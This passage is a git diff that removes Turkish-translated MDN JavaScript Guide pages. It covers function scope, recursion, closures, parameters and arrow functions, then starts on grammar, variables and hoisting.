çağırmanın başka yolları da var. Bir fonksiyonun dinamik olarak çağrılması gerektiği veya bir fonksiyonun argümanlarının sayısının değişebileceği veya fonksiyon çağrısının içeriğinin çalışma zamanında belirlenen belirli bir nesneye ayarlanması gerektiği durumlar vardır. Fonksiyonların kendileri nesneler olduğu ve bu nesnelerin sırasıyla yöntemleri olduğu anlaşılıyor (bkz. {{Jsxref ("Function")}} nesnesi). Bunlardan biri, {{jsxref ("Function.apply", "application ()")}} yöntemi, bu amaca ulaşmak için kullanılabilir.</p> - -<h2 class="deki-transform" id="Fonksiyon_Kapsamı">Fonksiyon Kapsamı</h2> - -<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 408px;"><span lang="tr">Bir fonksiyon içinde tanımlanmış değişkenlere, fonksiyonun dışındaki herhangi bir yerden erişilemez, çünkü değişken sadece fonksiyon kapsamında tanımlanır. Bununla birlikte, bir fonksiyon tanımlandığı kapsamda tanımlanan tüm değişkenlere ve fonksiyonlara erişebilir. Başka bir deyişle, global kapsamda tanımlanan bir fonksiyon, global kapsamda tanımlanan tüm değişkenlere erişebilir. Başka bir fonksiyonun içinde tanımlanmış bir fonksiyon, ana fonksiyonunda tanımlanan tüm değişkenlere ve ana fonksiyonun erişebildiği herhangi bir değişkene de erişebilir.</span></p> - -<pre class="brush: js">// The following variables are defined in the global scope -var num1 = 20, - num2 = 3, - name = "Chamahk"; - -// This function is defined in the global scope -function multiply() { - return num1 * num2; -} - -multiply(); // Returns 60 - -// A nested function example -function getScore () { - var num1 = 2, - num2 = 3; - - function add() { - return name + " scored " + (num1 + num2); - } - - return add(); -} - -getScore(); // Returns "Chamahk scored 5"</pre> - -<h2 id="Kapsam_ve_fonksiyon_yığını">Kapsam ve fonksiyon yığını</h2> - -<h3 id="Yineleme">Yineleme</h3> - -<p class="tw-data-text tw-ta tw-text-small" id="tw-target-text" style="text-align: left; height: 96px;"><span lang="tr">Bir fonksiyon kendisine başvurabilir ve kendisini arayabilir. Bir işlevin kendisine başvurması için üç yol vardır:</span></p> - -<p> </p> - -<ol> - <li>fonksiyonun adı</li> - <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee</a></code></li> - <li> - <p class="tw-data-text tw-ta tw-text-medium" dir="ltr" id="tw-target-text" style="text-align: left; height: 72px;"><span lang="tr">fonksiyona başvuran bir kapsam içi değişken</span> </p> - </li> -</ol> - -<div class="oSioSc"> -<div id="tw-target"> -<div class="gsrt tw-ta-container tw-nfl" id="tw-target-text-container"> -<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 48px;"><span lang="tr">Örneğin, aşağıdaki işlev tanımını göz önünde bulundurun:</span></p> -</div> -</div> -</div> - -<p> </p> - -<pre class="brush: js">var foo = function bar() { - // statements go here -}; -</pre> - -<p>Fonksiyon gövdesinde aşağıdakilerden hepsi eşdeğerdir.</p> - -<ol> - <li><code>bar()</code></li> - <li><code>arguments.callee()</code></li> - <li><code>foo()</code></li> -</ol> - -<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 216px;"><span lang="tr">Kendisini çağıran fonksiyona özyinelemeli fonksiyon denir. Bazı açılardan, özyineleme bir döngüye benzer. Her ikisi de aynı kodu birkaç kez uygular ve her ikisi de bir koşul gerektirir (bu, sonsuz bir döngüden kaçınmak veya daha doğrusu bu durumda sonsuz özyinelemeden kaçınmak için). Örneğin, aşağıdaki döngü:</span></p> - -<pre class="brush: js">var x = 0; -while (x < 10) { // "x < 10" is the loop condition - // do stuff - x++; -} -</pre> - -<p><span lang="tr">özyinelemeli bir fonksiyona ve bu fonksiyonun çağrısına dönüştürülebilir:</span></p> - -<pre class="brush: js">function loop(x) { - if (x >= 10) // "x >= 10" is the exit condition (equivalent to "!(x < 10)") - return; - // do stuff - loop(x + 1); // the recursive call -} -loop(0); -</pre> - -<p><span lang="tr">Ancak, bazı algoritmalar basit yinelemeli döngüler olamaz. Örneğin, bir ağaç yapısının tüm düğümlerinin </span>(örneğin <a href="/en-US/docs/DOM">DOM</a>) <span lang="tr">alınması özyineleme kullanılarak daha kolay yapılır:</span></p> - -<pre class="brush: js">function walkTree(node) { - if (node == null) // - return; - // do something with node - for (var i = 0; i < node.childNodes.length; i++) { - walkTree(node.childNodes[i]); - } -} -</pre> - -<p><span lang="tr">Fonksiyon </span><code>döngüsü</code><span lang="tr"> ile karşılaştırıldığında, her özyinelemeli çağrının kendisi burada birçok özyinelemeli çağrı yapar.</span></p> - -<p><span lang="tr">Herhangi bir özyinelemeli algoritmayı özyinelemeli olmayan bir algoritmaya dönüştürmek mümkündür, ancak çoğu zaman mantık çok daha karmaşıktır ve bunu yapmak bir yığının kullanılmasını gerektirir. Aslında, özyinelemenin kendisi bir yığın kullanır: Fonksiyon yığını.</span></p> - -<p><span lang="tr">Yığın benzeri davranış aşağıdaki örnekte görülebilir:</span></p> - -<pre class="brush: js">function foo(i) { - if (i < 0) - return; - console.log('begin:' + i); - foo(i - 1); - console.log('end:' + i); -} -foo(3); - -// Output: - -// begin:3 -// begin:2 -// begin:1 -// begin:0 -// end:0 -// end:1 -// end:2 -// end:3</pre> - -<h3 id="Nested_functions_and_closures">Nested functions and closures</h3> - -<p>You can nest a function within a function. The nested (inner) function is private to its containing (outer) function. It also forms a <em>closure</em>. A closure is an expression (typically a function) that can have free variables together with an environment that binds those variables (that "closes" the expression).</p> - -<p>Since a nested function is a closure, this means that a nested function can "inherit" the arguments and variables of its containing function. In other words, the inner function contains the scope of the outer function.</p> - -<p>To summarize:</p> - -<ul> - <li>The inner function can be accessed only from statements in the outer function.</li> -</ul> - -<ul> - <li>The inner function forms a closure: the inner function can use the arguments and variables of the outer function, while the outer function cannot use the arguments and variables of the inner function.</li> -</ul> - -<p>The following example shows nested functions:</p> - -<pre class="brush: js">function addSquares(a,b) { - function square(x) { - return x * x; - } - return square(a) + square(b); -} -a = addSquares(2,3); // returns 13 -b = addSquares(3,4); // returns 25 -c = addSquares(4,5); // returns 41 -</pre> - -<p>Since the inner function forms a closure, you can call the outer function and specify arguments for both the outer and inner function:</p> - -<pre class="brush: js">function outside(x) { - function inside(y) { - return x + y; - } - return inside; -} -fn_inside = outside(3); // Think of it like: give me a function that adds 3 to whatever you give it -result = fn_inside(5); // returns 8 - -result1 = outside(3)(5); // returns 8 -</pre> - -<h3 id="Preservation_of_variables">Preservation of variables</h3> - -<p>Notice how <code>x</code> is preserved when <code>inside</code> is returned. A closure must preserve the arguments and variables in all scopes it references. Since each call provides potentially different arguments, a new closure is created for each call to outside. The memory can be freed only when the returned <code>inside</code> is no longer accessible.</p> - -<p>This is not different from storing references in other objects, but is often less obvious because one does not set the references directly and cannot inspect them.</p> - -<h3 id="Multiply-nested_functions">Multiply-nested functions</h3> - -<p>Functions can be multiply-nested, i.e. a function (A) containing a function (B) containing a function (C). Both functions B and C form closures here, so B can access A and C can access B. In addition, since C can access B which can access A, C can also access A. Thus, the closures can contain multiple scopes; they recursively contain the scope of the functions containing it. This is called <em>scope chaining</em>. (Why it is called "chaining" will be explained later.)</p> - -<p>Consider the following example:</p> - -<pre class="brush: js">function A(x) { - function B(y) { - function C(z) { - console.log(x + y + z); - } - C(3); - } - B(2); -} -A(1); // logs 6 (1 + 2 + 3) -</pre> - -<p>In this example, <code>C</code> accesses <code>B</code>'s <code>y</code> and <code>A</code>'s <code>x</code>. This can be done because:</p> - -<ol> - <li><code>B</code> forms a closure including <code>A</code>, i.e. <code>B</code> can access <code>A</code>'s arguments and variables.</li> - <li><code>C</code> forms a closure including <code>B</code>.</li> - <li>Because <code>B</code>'s closure includes <code>A</code>, <code>C</code>'s closure includes <code>A</code>, <code>C</code> can access both <code>B</code> <em>and</em> <code>A</code>'s arguments and variables. In other words, <code>C</code> <em>chains</em> the scopes of <code>B</code> and <code>A</code> in that order.</li> -</ol> - -<p>The reverse, however, is not true. <code>A</code> cannot access <code>C</code>, because <code>A</code> cannot access any argument or variable of <code>B</code>, which <code>C</code> is a variable of. Thus, <code>C</code> remains private to only <code>B</code>.</p> - -<h3 id="Name_conflicts">Name conflicts</h3> - -<p>When two arguments or variables in the scopes of a closure have the same name, there is a <em>name conflict</em>. More inner scopes take precedence, so the inner-most scope takes the highest precedence, while the outer-most scope takes the lowest. This is the scope chain. The first on the chain is the inner-most scope, and the last is the outer-most scope. Consider the following:</p> - -<pre class="brush: js">function outside() { - var x = 10; - function inside(x) { - return x; - } - return inside; -} -result = outside()(20); // returns 20 instead of 10 -</pre> - -<p>The name conflict happens at the statement <code>return x</code> and is between <code>inside</code>'s parameter <code>x</code> and <code>outside</code>'s variable <code>x</code>. The scope chain here is {<code>inside</code>, <code>outside</code>, global object}. Therefore <code>inside</code>'s <code>x</code> takes precedences over <code>outside</code>'s <code>x</code>, and 20 (<code>inside</code>'s <code>x</code>) is returned instead of 10 (<code>outside</code>'s <code>x</code>).</p> - -<h2 id="Closures">Closures</h2> - -<p>Closures are one of the most powerful features of JavaScript. JavaScript allows for the nesting of functions and grants the inner function full access to all the variables and functions defined inside the outer function (and all other variables and functions that the outer function has access to). However, the outer function does not have access to the variables and functions defined inside the inner function. This provides a sort of security for the variables of the inner function. Also, since the inner function has access to the scope of the outer function, the variables and functions defined in the outer function will live longer than the outer function itself, if the inner function manages to survive beyond the life of the outer function. A closure is created when the inner function is somehow made available to any scope outside the outer function.</p> - -<pre class="brush: js">var pet = function(name) { // The outer function defines a variable called "name" - var getName = function() { - return name; // The inner function has access to the "name" variable of the outer function - } - return getName; // Return the inner function, thereby exposing it to outer scopes -} -myPet = pet("Vivie"); - -myPet(); // Returns "Vivie" -</pre> - -<p>It can be much more complex than the code above. An object containing methods for manipulating the inner variables of the outer function can be returned.</p> - -<pre class="brush: js">var createPet = function(name) { - var sex; - - return { - setName: function(newName) { - name = newName; - }, - - getName: function() { - return name; - }, - - getSex: function() { - return sex; - }, - - setSex: function(newSex) { - if(typeof newSex === "string" && (newSex.toLowerCase() === "male" || newSex.toLowerCase() === "female")) { - sex = newSex; - } - } - } -} - -var pet = createPet("Vivie"); -pet.getName(); // Vivie - -pet.setName("Oliver"); -pet.setSex("male"); -pet.getSex(); // male -pet.getName(); // Oliver -</pre> - -<p>In the code above, the <code>name</code> variable of the outer function is accessible to the inner functions, and there is no other way to access the inner variables except through the inner functions. The inner variables of the inner functions act as safe stores for the outer arguments and variables. They hold "persistent", yet secure, data for the inner functions to work with. The functions do not even have to be assigned to a variable, or have a name.</p> - -<pre class="brush: js">var getCode = (function(){ - var secureCode = "0]Eal(eh&2"; // A code we do not want outsiders to be able to modify... - - return function () { - return secureCode; - }; -})(); - -getCode(); // Returns the secureCode -</pre> - -<p>There are, however, a number of pitfalls to watch out for when using closures. If an enclosed function defines a variable with the same name as the name of a variable in the outer scope, there is no way to refer to the variable in the outer scope again.</p> - -<pre class="brush: js">var createPet = function(name) { // Outer function defines a variable called "name" - return { - setName: function(name) { // Enclosed function also defines a variable called "name" - name = name; // ??? How do we access the "name" defined by the outer function ??? - } - } -} -</pre> - -<p>The magical <code>this</code> variable is very tricky in closures. They have to be used carefully, as what <code>this</code> refers to depends completely on where the function was called, rather than where it was defined.</p> - -<h2 id="Using_the_arguments_object">Using the arguments object</h2> - -<p>The arguments of a function are maintained in an array-like object. Within a function, you can address the arguments passed to it as follows:</p> - -<pre class="brush: js">arguments[i] -</pre> - -<p>where <code>i</code> is the ordinal number of the argument, starting at zero. So, the first argument passed to a function would be <code>arguments[0]</code>. The total number of arguments is indicated by <code>arguments.length</code>.</p> - -<p>Using the <code>arguments</code> object, you can call a function with more arguments than it is formally declared to accept. This is often useful if you don't know in advance how many arguments will be passed to the function. You can use <code>arguments.length</code> to determine the number of arguments actually passed to the function, and then access each argument using the <code>arguments</code> object.</p> - -<p>For example, consider a function that concatenates several strings. The only formal argument for the function is a string that specifies the characters that separate the items to concatenate. The function is defined as follows:</p> - -<pre class="brush: js">function myConcat(separator) { - var result = ""; // initialize list - var i; - // iterate through arguments - for (i = 1; i < arguments.length; i++) { - result += arguments[i] + separator; - } - return result; -} -</pre> - -<p>You can pass any number of arguments to this function, and it concatenates each argument into a string "list":</p> - -<pre class="brush: js">// returns "red, orange, blue, " -myConcat(", ", "red", "orange", "blue"); - -// returns "elephant; giraffe; lion; cheetah; " -myConcat("; ", "elephant", "giraffe", "lion", "cheetah"); - -// returns "sage. basil. oregano. pepper. parsley. " -myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley"); -</pre> - -<div class="note"> -<p><strong>Note:</strong> The <code>arguments</code> variable is "array-like", but not an array. It is array-like in that is has a numbered index and a <code>length</code> property. However, it does not possess all of the array-manipulation methods.</p> -</div> - -<p>See the {{jsxref("Function")}} object in the JavaScript reference for more information.</p> - -<h2 id="Function_parameters">Function parameters</h2> - -<p>Starting with ECMAScript 6, there are two new kinds of parameters: default parameters and rest parameters.</p> - -<h3 id="Default_parameters">Default parameters</h3> - -<p>In JavaScript, parameters of functions default to <code>undefined</code>. However, in some situations it might be useful to set a different default value. This is where default parameters can help.</p> - -<p>In the past, the general strategy for setting defaults was to test parameter values in the body of the function and assign a value if they are <code>undefined</code>. If in the following example, no value is provided for <code>b</code> in the call, its value would be <code>undefined</code> when evaluating <code>a*b</code> and the call to <code>multiply</code> would have returned <code>NaN</code>. However, this is caught with the second line in this example:</p> - -<pre class="brush: js">function multiply(a, b) { - b = typeof b !== 'undefined' ? b : 1; - - return a*b; -} - -multiply(5); // 5 -</pre> - -<p>With default parameters, the check in the function body is no longer necessary. Now, you can simply put <code>1</code> as the default value for <code>b</code> in the function head:</p> - -<pre class="brush: js">function multiply(a, b = 1) { - return a*b; -} - -multiply(5); // 5</pre> - -<p>Fore more details, see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default parameters</a> in the reference.</p> - -<h3 id="Rest_parameters">Rest parameters</h3> - -<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameter</a> syntax allows us to represent an indefinite number of arguments as an array. In the example, we use the rest parameters to collect arguments from the second one to the end. We then multiply them by the first one. This example is using an arrow function, which is introduced in the next section.</p> - -<pre class="brush: js">function multiply(multiplier, ...theArgs) { - return theArgs.map(x => multiplier * x); -} - -var arr = multiply(2, 1, 2, 3); -console.log(arr); // [2, 4, 6]</pre> - -<h2 id="Arrow_functions">Arrow functions</h2> - -<p>An <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow function expression</a> (also known as <strong>fat arrow function</strong>) has a shorter syntax compared to function expressions and lexically binds the <code>this</code> value. Arrow functions are always anonymous. See also this hacks.mozilla.org blog post: "<a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">ES6 In Depth: Arrow functions</a>".</p> - -<p>Two factors influenced the introduction of arrow functions: shorter functions and lexical <code>this</code>.</p> - -<h3 id="Shorter_functions">Shorter functions</h3> - -<p>In some functional patterns, shorter functions are welcome. Compare:</p> - -<pre class="brush: js">var a = [ - "Hydrogen", - "Helium", - "Lithium", - "Beryllium" -]; - -var a2 = a.map(function(s){ return s.length }); - -console.log(a2); // logs [ 8, 6, 7, 9 ] - -var a3 = a.map( s => s.length ); - -console.log(a3); // logs [ 8, 6, 7, 9 ] -</pre> - -<h3 id="Lexical_this">Lexical <code>this</code></h3> - -<p>Until arrow functions, every new function defined its own <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a> value (a new object in case of a constructor, undefined in strict mode function calls, the context object if the function is called as an "object method", etc.). This proved to be annoying with an object-oriented style of programming.</p> - -<pre class="brush: js">function Person() { - // The Person() constructor defines `this` as itself. - this.age = 0; - - setInterval(function growUp() { - // In nonstrict mode, the growUp() function defines `this` - // as the global object, which is different from the `this` - // defined by the Person() constructor. - this.age++; - }, 1000); -} - -var p = new Person();</pre> - -<p>In ECMAScript 3/5, this issue was fixed by assigning the value in <code>this</code> to a variable that could be closed over.</p> - -<pre class="brush: js">function Person() { - var self = this; // Some choose `that` instead of `self`. - // Choose one and be consistent. - self.age = 0; - - setInterval(function growUp() { - // The callback refers to the `self` variable of which - // the value is the expected object. - self.age++; - }, 1000); -}</pre> - -<p>Alternatively, a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bound function</a> could be created so that the proper <code>this</code> value would be passed to the <code>growUp()</code> function.</p> - -<p>Arrow functions capture the <code>this</code> value of the enclosing context, so the following code works as expected.</p> - -<pre class="brush: js">function Person(){ - this.age = 0; - - setInterval(() => { - this.age++; // |this| properly refers to the person object - }, 1000); -} - -var p = new Person();</pre> - -<h2 id="Predefined_functions">Predefined functions</h2> - -<p>JavaScript has several top-level, built-in functions:</p> - -<dl> - <dt>{{jsxref("Global_Objects/eval", "eval()")}}</dt> - <dd> - <p>The <code><strong>eval()</strong></code> method evaluates JavaScript code represented as a string.</p> - </dd> - <dt>{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline}}</dt> - <dd> - <p>The <code><strong>uneval()</strong></code> method creates a string representation of the source code of an {{jsxref("Object")}}.</p> - </dd> - <dt>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</dt> - <dd> - <p>The global <code><strong>isFinite()</strong></code> function determines whether the passed value is a finite number. If needed, the parameter is first converted to a number.</p> - </dd> - <dt>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</dt> - <dd> - <p>The <code><strong>isNaN()</strong></code> function determines whether a value is {{jsxref("Global_Objects/NaN", "NaN")}} or not. Note: coercion inside the <code>isNaN</code> function has <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN#Description">interesting</a> rules; you may alternatively want to use {{jsxref("Number.isNaN()")}}, as defined in ECMAScript 6, or you can use <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></code> to determine if the value is Not-A-Number.</p> - </dd> - <dt>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</dt> - <dd> - <p>The <code><strong>parseFloat()</strong></code> function parses a string argument and returns a floating point number.</p> - </dd> - <dt>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</dt> - <dd> - <p>The <code><strong>parseInt()</strong></code> function parses a string argument and returns an integer of the specified radix (the base in mathematical numeral systems).</p> - </dd> - <dt>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</dt> - <dd> - <p>The <code><strong>decodeURI()</strong></code> function decodes a Uniform Resource Identifier (URI) previously created by {{jsxref("Global_Objects/encodeURI", "encodeURI")}} or by a similar routine.</p> - </dd> - <dt>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</dt> - <dd> - <p>The <code><strong>decodeURIComponent()</strong></code> method decodes a Uniform Resource Identifier (URI) component previously created by {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}} or by a similar routine.</p> - </dd> - <dt>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</dt> - <dd> - <p>The <code><strong>encodeURI()</strong></code> method encodes a Uniform Resource Identifier (URI) by replacing each instance of certain characters by one, two, three, or four escape sequences representing the UTF-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).</p> - </dd> - <dt>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</dt> - <dd> - <p>The <code><strong>encodeURIComponent()</strong></code> method encodes a Uniform Resource Identifier (URI) component by replacing each instance of certain characters by one, two, three, or four escape sequences representing the UTF-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).</p> - </dd> - <dt>{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline}}</dt> - <dd> - <p>The deprecated <code><strong>escape()</strong></code> method computes a new string in which certain characters have been replaced by a hexadecimal escape sequence. Use {{jsxref("Global_Objects/encodeURI", "encodeURI")}} or {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}} instead.</p> - </dd> - <dt>{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline}}</dt> - <dd> - <p>The deprecated <code><strong>unescape()</strong></code> method computes a new string in which hexadecimal escape sequences are replaced with the character that it represents. The escape sequences might be introduced by a function like {{jsxref("Global_Objects/escape", "escape")}}. Because <code>unescape()</code> is deprecated, use {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} or {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} instead.</p> - </dd> -</dl> - -<p>{{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</p> diff --git a/files/tr/web/javascript/guide/grammar_and_types/index.html b/files/tr/web/javascript/guide/grammar_and_types/index.html deleted file mode 100644 index a1619e77aa..0000000000 --- a/files/tr/web/javascript/guide/grammar_and_types/index.html +++ /dev/null @@ -1,640 +0,0 @@ ---- -title: Dil bilgisi ve türler -slug: Web/JavaScript/Guide/Grammar_and_types -tags: - - JavaScript - - Rehber -translation_of: Web/JavaScript/Guide/Grammar_and_types ---- -<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</p> - -<p class="summary">Bu bölümde JavaScript'in temel dil bilgisi, değişken tanımları, veri türleri ve sabitleri üzerine değinilecektir.</p> - -<h2 id="Temeller">Temeller</h2> - -<p>JavaScript çoğu söz dizimini Java'dan almıştır. Awk, Perl and Python'dan da etkilenmiştir.</p> - -<p>JavaScript büyük-küçük harfe duyarlıdır ve <strong>Unicode </strong>karakter setini kullanır.</p> - -<p>JavaScript'te, komutlara {{Glossary("Statement", "statements")}} denir ve noktalı virgül (;) ile ayrılırlar. Boşluklara, tablara ve satırbaşı karakterlerine whitespace denir. JavaScript betiklerinde, kaynak metin soldan sağa taranır ve token, kontrol karakterleri, satır sonlayıcıları, yorumlar ve whitespace gibi girdi elemanları dizisine dönüştürülür. ECMAScript, bazı kelimeleri ve sabitleri tanımlamıştır ayrıca noktalı virgül (;) karakterinin komut sonlarına otomatik olarak eklenmesi için kurallar belirlemiştir. Ancak kodda herhangi bir yan etki oluşturmaması için komut sonlarına her zaman noktalı virgül konması önerilir. Daha fazla bilgi için JavaScript'in <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">sözcük dil bilgisi</a> hakkındaki başvurusuna bakınız.</p> - -<h2 id="Yorumlar">Yorumlar</h2> - -<p>Yorumların söz dizimi C++ ve çoğu diğer dillerde olduğu şekilde aynıdır:</p> - -<pre class="brush: js">// Tek satırlık yorum. - -/* * - * Bu ise daha uzun, - * çok satırlı yorum. - */ - -/* Ancak /* iç içe yorum */ konulması söz dizimi hatasına yol açar<code> */</code></pre> - -<h2 id="Bildirimler">Bildirimler</h2> - -<p>JavaScript'te üç çeşit bildirim vardır:</p> - -<p>{{jsxref("Statements/var", "var")}}</p> - -<dl> - <dd>Bir değişkeni tanımlar, isteğe bağlı olarak değer ataması yapılır.</dd> - <dt>{{experimental_inline}} {{jsxref("Statements/let", "let")}}</dt> - <dd>Etki alanı kod bloğudur, yerel değişken tanımlar, isteğe bağlı olarak değer ataması yapar.</dd> - <dt>{{experimental_inline}} {{jsxref("Statements/const", "const")}}</dt> - <dd>Salt okunur değişken tanımlar.</dd> -</dl> - -<h3 id="Değişkenler">Değişkenler</h3> - -<p>Uygulamalarınızda, verilerin sembolik birer gösterimi olarak değişkenleri kullanırsınız. Değişkenlerin isimine {{Glossary("Identifier", "identifiers")}} denir ve kesin kurallar çerçevesinde oluşturulurlar.</p> - -<p>JavaScript'te değişken adı; bir harfle, alt tire (_) ile veya dolar işareti ($) ile başlamalıdır; ardından rakamlar gelebilir (0-9). JavaScript'in büyük-küçük harfe duyarlı olmasından dolayı, harfler büyük harf (A'dan Z'ye) ve küçük harf (a'dan z'ye) içerebilirler. </p> - -<p>Değişken adları için å ve ü gibi Unicode harfleri bulunan ISO 8859-1 standardındaki karakter setini kullanabilirsiniz. Ayrıca değişkenlerdeki karakterler olarak, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">Unicode kaçış karakterlerini</a> kullanabilirsiniz.</p> - -<p>Bir kaç uygun örnek: <code>Popüler_şarkılar, jamesBond007, _isim</code>.</p> - -<h3 id="Değişken_tanımlama">Değişken tanımlama</h3> - -<p>Bir değişkeni üç yolla tanımlayabilirsiniz:</p> - -<ul> - <li>{{jsxref("Statements/var", "var")}} kelimesi ile. Örneğin, <code>var x = 42</code>. Bu söz dizimi hem yerel hem global değişkenler bildirebilir.</li> - <li>Sadece değer vererek. Mesela, <code>x = 42</code>. Bu şekilde daima global bir değişken tanımlanır. Tanımlandığı zaman JavaScript uyarı verir. Bu yüzden böyle bir tanımlama yapmamalısınız.</li> - <li>{{jsxref("Statements/let", "let")}} kelimesi ile. Örneğin, <code>let y = 13</code>. Bu şekilde blok seviyesinde yerel değişken tanımlanmış olur. Yani y=13 değerinin etki alanı içinde bulunduğu kod bloğu (statement) 'dur. Daha fazlası için aşağıdaki <a href="https://developer.mozilla.org/tr/docs/Web/JavaScript/Guide/Grammar_and_types#Değişkenin_etki_alanı">Değişkenin etki alanı</a> kısmına bakabilirsiniz. </li> -</ul> - -<h3 id="Değişkenlerin_değerlendirilmesi">Değişkenlerin değerlendirilmesi</h3> - -<p><code>var</code> veya <code>let</code> komutuyla başlangıç değer ataması yapmadan tanımlanan değişkenler, {{jsxref("undefined")}} değerine sahiptirler.</p> - -<p>Değer ataması yapılmayan bir değişkene erişilmeye çalışıldığında {{jsxref("ReferenceError")}} hatası alınır:</p> - -<pre><code>var a; -console.log("a'nın değeri " + a); // a'nın değeri undefined - -var b; -console.log("b'nın değeri " + b); // b'nin değeri undefined - -console.log("c'nin değeri " + c); // </code> -Yakalanmamış Referans Hatası<code>: c değeri tanımlanamadı - -let x; -console.log("x'in değeri " + x); // x'in değeri undefined - -console.log("y'in değeri " + y); // </code> -Yakalanmamış Referans Hatası<code>: y değeri tanımlanamadı -let y;</code></pre> - -<p><code>undefined</code>'ı, bir değişkenin herhangi bir değere sahip olup olmadığını kontrol etmek için kullanabilirsiniz. Aşağıdaki kod parçasında girdi değişkenine değer atanmamıştır ve <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else" title="en-US/docs/JavaScript/Reference/Statements/if...else">if</a> </code>ifadesi doğru olarak değerlendirileceği için bunuYap(); metodu çalıştırılmış olur. </p> - -<pre class="brush: js">var girdi; -if(girdi === undefined){ - bunuYap(); -} else { - sunuYap(); -} -</pre> - -<p>Eğer <code>undefined</code> değeri boolean bir kontrol deyiminde (<code>if, while</code> vb.) kullanılırsa yanlış <code>(false) </code>çıktı verecek şekilde davranır . Örneğin, aşağıdaki kodda <code>benimDizim </code>değişkeni tanımsız olduğu için <code>yap() </code>fonksiyonu çalıştırılır:</p> - -<pre class="brush: js">var benimD<code>izim</code> = []; -if (!benimD<code>izim</code>[0]) yap(); -</pre> - -<p>Eğer <code>undefined</code> değeri sayısal bir içerikte kullanıldığında <code>NaN</code> (sayı değil) değerini alır.</p> - -<pre class="brush: js">var a; -a + 2; // NaN sonucunu verir</pre> - -<p>{{jsxref("null")}} değişkeni sayısal bir içerikte kullanıldığında 0, boolean bir içerikte kullanıldığında ise <code>false</code> gibi davranır. Örneğin:</p> - -<pre class="brush: js">var n = null; -console.log(n * 32); // ekrana 0 yazdırır -</pre> - -<h3 id="Değişkenin_etki_alanı">Değişkenin etki alanı</h3> - -<p>Herhangi bir fonksiyon etki alanının dışında bir değişken tanımladığınız zaman, <em>global</em> değişken tanımlamış olursunuz. Bu sayede JavaScript dokümanı içerisinde herhangi bir kod parçası bu değişkene erişilebilir. Bir fonksiyon etki alanı içerisinde değişken tanımladığınızda <em>local (yerel) </em> değişken tanımlamış olursunuz. Bu sayede değişkene sadece o fonksiyon içerisinden erişilebilir.</p> - -<p>ECMAScript 6'dan önceki JavaScript'te, <a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Block_statement" title="en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Block_statement">blok seviyesinde</a> etki alanı yoktur; bilâkis, blok içerisinde tanımlanan değişken, o bloğun bulunduğu fonksiyonda (veya global etki alanında) yerel olarak tanımlanmış olur. Örneğin aşağıdaki kod ekrana 5 değerini yazdırır. Çünkü x'in etki alanı, if bloğu içerisinde değil, x'in tanımlandığı fonksiyonda (veya globalde) yer almaktadır.</p> - -<pre class="brush: js">if (true) { - var x = 5; -} -console.log(x); // 5 -</pre> - -<p>ECMAScript 2015'te belirlenen <code>let </code>ifadesi ile kullanılırsa, çıktı değişkenlik gösterebilir. Çünkü let ifadesi global alanı değil if bloğunun alanını etki alanı olarak ele alır ve y değişkeni, JavaScript tarafından tanımsız olarak değerlendirileceği için hata döndürür:</p> - -<pre class="brush: js">if (true) { - let y = 5; -} -console.log(y); // Uncaught ReferenceError: y is not defined -</pre> - -<h3 id="Değişkeni_yukarı_alma_hoisting">Değişkeni yukarı alma (hoisting)</h3> - -<p>JavaScript'teki değişkenler hakkında bir sıradışı olay ise, tanımladığınız bir değişkene daha önceki satırda hata almadan erişebiliyor olmanızdır. Bu kavram <strong>hoisting (yukarı alma) </strong>olarak bilinir; JavaScript'te tanımlanan değişkenler bir anlamda fonksiyon veya ifadenin üzerine alınmış (hoisted) olarak ele alınır. Yukarı alınan değişkenler atandıkları değer yerine <code>undefined </code>değerini alırlar. Hatta bu değişkeni kullandıktan sonra tekrar tanımlarsanız, yine undefined sonucunu alırsınız.</p> - -<pre class="brush: js">/** - * Örnek 1 - */ -console.log(x === undefined); // "true" yazar -var x = 3; - -/** - * Örnek 2 - */ -// undefined değeri alacak -var degiskenim = "değerim"; - -(function() { - console.log(degiskenim); // undefined - var degiskenim = 